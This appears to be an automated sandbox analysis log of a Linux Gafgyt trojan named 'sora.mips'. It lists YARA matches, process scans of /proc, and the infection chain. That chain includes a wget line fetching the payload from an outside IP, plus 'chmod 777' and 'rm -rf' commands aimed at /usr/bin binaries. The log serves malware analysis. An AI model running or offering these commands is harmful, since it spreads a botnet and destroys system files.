      Source: 6218.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
      Source: 6220.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: 6220.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
      Source: Process Memory Space: sora.mips PID: 6221, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: Process Memory Space: sora.mips PID: 6229, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: Process Memory Space: sora.mips PID: 6229, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
      Source: Process Memory Space: sora.mips PID: 6418, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: Process Memory Space: sora.mips PID: 6418, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
      Source: classification engineClassification label: mal68.spre.troj.evad.lin@0/1@0/0
      Source: /bin/sh (PID: 6213)Directory: /usr/bin/.Jump to behavior
      Source: /usr/bin/curl (PID: 6214)Directory: /root/.curlrcJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/491/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/793/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/772/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/796/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/774/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/797/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/777/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/799/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/658/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/912/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/759/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/936/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/918/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/1/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/761/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/785/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/884/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/720/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/721/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/788/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/789/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/800/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/801/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/847/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)File opened: /proc/904/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/4331/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2033/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2033/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1582/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1582/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2275/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/3088/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/6190/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/6190/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1612/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1579/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1579/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1699/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1335/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1335/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1335/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1335/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1698/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2028/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1334/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1334/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1334/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1334/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1576/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1576/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2302/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2302/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/3236/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2025/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2146/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/910/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/4444/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/4445/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/912/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/912/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/912/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/4446/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/6229/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/759/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/759/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/759/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/759/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/759/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/759/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/759/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/517/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/4447/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2307/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2307/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/918/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/918/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/918/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1594/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1594/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2285/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2285/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2281/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2281/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1349/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1349/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1623/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/761/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/761/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/761/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/761/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/761/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/761/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/761/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1622/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/884/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/884/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/884/exeJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/1983/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2038/fdJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)File opened: /proc/2038/exeJump to behavior
      Source: /bin/sh (PID: 6217)Chmod executable: /usr/bin/chmod -> chmod 777 2to3-2.7 7z 7za 7zr GET HEAD NF POST Thunar VGAuthService X X11 Xephyr Xorg Xwayland [ aa-enabled aa-exec aconnect acpi_listen add-apt-repository addpart addr2line al al2 alsabat alsaloop alsamixer alsatplg alsaucm amidi amixer apg apgbfm aplay aplaymidi apport-bug apport-cli apport-collect apport-unpack appres appstreamcli aprofutil apropos apt apt-add-repository apt-cache apt-cdrom apt-config apt-extracttemplates apt-ftparchive apt-get apt-key apt-mark apt-sortpkgs aptdcon apturl apturl-gtk ar arch arecord arecordmidi arm2hpdl as aseqdump aseqnet asp-state4 aspell aspell-import at atobm atq atril atril-previewer atril-thumbnailer atrm automat-visualize3 avahi-browse avahi-browse-domains avahi-publish avahi-publish-address avahi-publish-service avahi-resolve avahi-resolve-address avahi-resolve-host-name avahi-set-host-name awk axfer b2sum base32 base64 basename bash bashbug batch bc bccmd bdftopcfJump to behavior
      Source: /bin/sh (PID: 6214)Curl executable: /usr/bin/curl -> curl cd /tmpJump to behavior
      Source: /bin/sh (PID: 6233)Rm executable: /usr/bin/rm -> rm -rf 2to3-2.7 7z 7za 7zr GET HEAD NF POST Thunar VGAuthService X X11 Xephyr Xorg Xwayland [ aa-enabled aa-exec aconnect acpi_listen add-apt-repository addpart addr2line al al2 alsabat alsaloop alsamixer alsatplg alsaucm amidi amixer apg apgbfm aplay aplaymidi apport-bug apport-cli apport-collect apport-unpack appres appstreamcli aprofutil apropos apt apt-add-repository apt-cache apt-cdrom apt-config apt-extracttemplates apt-ftparchive apt-get apt-key apt-mark apt-sortpkgs aptdcon apturl apturl-gtk ar arch arecord arecordmidi arm2hpdl as aseqdump aseqnet asp-state4 aspell aspell-import at atobm atq atril atril-previewer atril-thumbnailer atrm automat-visualize3 avahi-browse avahi-browse-domains avahi-publish avahi-publish-address avahi-publish-service avahi-resolve avahi-resolve-address avahi-resolve-host-name avahi-set-host-name awk axfer b2sum base32 base64 basename bash bashbug batch bc bccmd bdftopcfJump to behavior
      Source: /bin/sh (PID: 6216)Wget executable: /usr/bin/wget -> wget http://185.196.11.177/bins/sora.mipsJump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/2to3-2.7 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/7z (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/7za (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/7zr (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/GET (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/HEAD (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/NF (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/POST (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/Thunar (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/VGAuthService (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/X (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/X11 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/Xephyr (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/Xorg (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/Xwayland (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/[ (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/aa-enabled (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/aa-exec (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/aconnect (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/acpi_listen (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/add-apt-repository (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/addpart (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/addr2line (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/al (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/al2 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/alsabat (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/alsaloop (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/alsamixer (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/alsatplg (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/alsaucm (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/amidi (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/amixer (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apg (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apgbfm (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/aplay (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/aplaymidi (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apport-bug (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apport-cli (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apport-collect (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apport-unpack (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/appres (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/appstreamcli (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/aprofutil (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apropos (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apt (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apt-add-repository (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apt-cache (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apt-cdrom (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apt-config (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apt-extracttemplates (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apt-ftparchive (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apt-get (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apt-key (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apt-mark (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apt-sortpkgs (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/aptdcon (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apturl (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/apturl-gtk (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/ar (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/arch (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/arecord (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/arecordmidi (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/arm2hpdl (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/as (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/aseqdump (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/aseqnet (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/asp-state4 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/aspell (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/aspell-import (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/at (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/atobm (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/atq (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/atril (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/atril-previewer (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/atril-thumbnailer (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/atrm (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/automat-visualize3 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/avahi-browse (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/avahi-browse-domains (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/avahi-publish (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/avahi-publish-address (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/avahi-publish-service (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/avahi-resolve (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/avahi-resolve-address (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/avahi-resolve-host-name (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/avahi-set-host-name (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/awk (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/axfer (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/b2sum (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/base32 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/base64 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/basename (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/bash (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/bashbug (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/batch (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/bc (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/bccmd (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/bdftopcf (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/bdftruncate (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/bitmap (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/blueman-adapters (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/blueman-applet (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/blueman-assistant (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/blueman-manager (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/blueman-report (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/blueman-sendto (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/blueman-services (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/blueman-tray (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/bluemoon (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/bluetooth-sendto (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
